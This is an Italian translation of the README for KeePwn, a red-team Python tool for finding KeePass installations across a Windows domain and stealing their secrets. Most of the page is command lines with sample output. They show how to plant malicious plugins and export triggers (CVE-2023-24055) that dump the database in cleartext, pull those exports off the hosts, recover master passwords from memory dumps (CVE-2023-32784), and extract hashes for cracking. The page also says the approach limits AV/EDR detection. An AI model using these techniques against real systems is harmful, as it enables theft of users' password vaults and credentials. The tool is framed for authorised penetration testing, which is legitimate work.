
Uno strumento Python per automatizzare la scoperta di KeePass e l'estrazione di segreti.

Uno script Python per aiutare i red team a scoprire le istanze di KeePass ed estrarre i segreti.
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help
Oppure, se non vuoi installare ma solo eseguire in un virtualenv:
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help
Il modulo search di KeePwn viene utilizzato per identificare gli host che eseguono KeePass nel tuo ambiente target:
$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt
[*] Starting remote KeePass search with 5 threads
[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found
Utilizza la condivisione C$ integrata di Active Directory per cercare file relativi a KeePass nelle posizioni predefinite, richiedendo quindi privilegi di amministratore sui target.
Il modulo cercherà prima il file di configurazione KeePass.config.xml nella cartella %APPDATA%\KeePass di ciascun utente, così come KeePass.exe nel suo percorso di installazione predefinito (C:\Program Files\KeePass Password Safe 2). Se viene trovato un file di configurazione ma KeePass non è installato a livello globale, KeePwn cercherà installazioni portatili fino a --max-depth sottocartelle.
Questa tecnica di ricerca di base dovrebbe essere sufficiente per determinare con precisione se KeePass viene utilizzato su una workstation o meno. Inoltre, l'opzione --get-process utilizza l'implementazione RPC di Impacket per determinare se KeePass è attualmente in esecuzione sul target.
Sono incluse anche varie opzioni di comodità che consentono di esportare i risultati della ricerca in un file CSV, visualizzare solo i target in cui è stato trovato KeePass e regolare il numero di thread paralleli:
KeePass fornisce un framework per plugin che può essere abusato per caricare DLL dannose nel processo di KeePass, consentendo agli attaccanti con diritti di amministratore di esportare facilmente il database (vedi: KeeFarceRebornPlugin).
Il modulo plugin di KeePwn consente di:
Elencare i plugin attualmente installati e fare un'enumerazione della cache dei plugin
$ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No path specified, searching in default locations..
[*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
Aggiungere e rimuovere i tuoi plugin dannosi
$ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll
[*] No path specified, searching in default locations..
[*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
> y
[+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
Effettuare il polling di %APPDATA% per esportazioni e spostarle automaticamente dall'host remoto al filesystem locale
Come descritto nel post del blog di @harmj0y (e successivamente CVE-2023-24055), il sistema di trigger di KeePass può essere abusato per esportare il database in chiaro.
Il modulo trigger di KeePwn consente di:
Verificare se un trigger dannoso chiamato "export" è attualmente presente nella configurazione di KeePass
$ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No KeePass configuration path specified, searching in default locations..
[*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
[*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
[*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[+] No trigger found in KeePass configuration
Nota che KeePwn ti impedirà di abusare dei plugin se la versione di KeePass rilevata non è affetta da questa tecnica.
Aggiungere e rimuovere un trigger dannoso chiamato "export" che esegue un'esportazione in chiaro del database in %APPDATA% al successivo avvio di KeePass
❯ python3 KeePwn.py trigger add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No KeePass configuration path specified, searching in default locations..
[*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
[*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
[*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[+] Malicious trigger 'export' successfully added to KeePass configuration file (it may be deleted if KeePass is already running)
Come descritto da @vdohney, è possibile recuperare la password master del database dalla memoria (CVE-2023-32784, che interessa le versioni precedenti a KeePass 2.54).
Il modulo parse_dump di KeePwn cercherà potenziali candidate alla password master nei dump. Poiché le stringhe risultanti saranno (per progettazione) incomplete, il modulo può anche essere utilizzato per forzare il primo carattere mancante contro un file KDBX specificato.
$ python3 KeePwn.py parse_dump -d ./KeePass.DMP --bruteforce Database.kdbx
[*] Searching for the master password in memory dump.. done!
[*] Found 15 candidates:
_@$$w0rd!!
_Ï$$w0rd!!
_§$$w0rd!!
_ñ$$w0rd!!
_D$$w0rd!!
_$$w0rd!!
_\$$w0rd!!
_#$$w0rd!!
_y$$w0rd!!
_k$$w0rd!!
_9$$w0rd!!
_;$$w0rd!!
_H$$w0rd!!
_>$$w0rd!!
_a$$w0rd!!
[*] Bruteforcing missing symbol with the 254 most common unicode characters.. done!
[+] Database.kdbx successfully unlocked using master password P@$$w0rd!!
L'analisi del dump di memoria utilizza il PoC Python di @CMEPW. Grazie per avermi permesso di riutilizzare il codice :)
Lo script keepass2john.py di @harmjoy è stato portato su KeePwn con l'aiuto di @0xSp3ctra.
Il modulo convert di KeePwn estrarrà un hash craccabile (formato john o hashcat) da un database KeePass.
KeePwn convert -d ./Database.kdbx
[+] Happy cracking! (hashcat -m 13400)
$keepass$*2*60000*222*b794eae002aff2a55a307bedeadebee210ee3c3596731f5acf2a1ff3add7d5af*7f19293f120717cbb88cdd27a3d4b9cb58316c61c625ca3a39f94c5a96b6135b*c004b3bc403730ce1bba15d5feda18e2*55a142d52798313c336c9442d824d7098ded3c5e161b76640100c99ec1cd95e1*60bb1f64c2bfff8a4e1eb43c533054f2f5c46fac19a867e7f80a1a71d6b68f17
Può essere utilizzato con più argomenti per specificare il tipo di hash atteso e un percorso file di output:
KeePwn convert -d ./Database.kdbx -t john -o ./Database.hash
[+] Hash written to ./Database.hash, happy cracking! (john --format=keepass)
KDBX 4.x non è ancora supportato, puoi utilizzare https://github.com/r3nt0n/keepass4brute. Se hai voglia di una PR, https://palant.info/2023/03/29/documenting-keepass-kdbx4-file-format è una buona lettura :)
Le pull request sono benvenute (vedi: funzionalità non selezionate + alcuni TODO nel codice).
Sentiti libero di aprire un problema o contattarmi su Twitter per suggerire miglioramenti.
$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv
[*] Starting remote KeePass search with 4 threads
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)
[+] Search results logged to keepwn_out.csv
$ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml
Queste azioni vengono eseguite tramite l'accesso alla condivisione SMB C$, limitando il rilevamento da parte di AV/EDR poiché non viene eseguito alcun comando.
Effettuare il polling di %APPDATA% per esportazioni e spostarle automaticamente dall'host remoto al filesystem locale
$ KeePwn trigger poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml
Se il percorso del file di configurazione non è quello predefinito, puoi specificarne uno con l'argomento --config-path.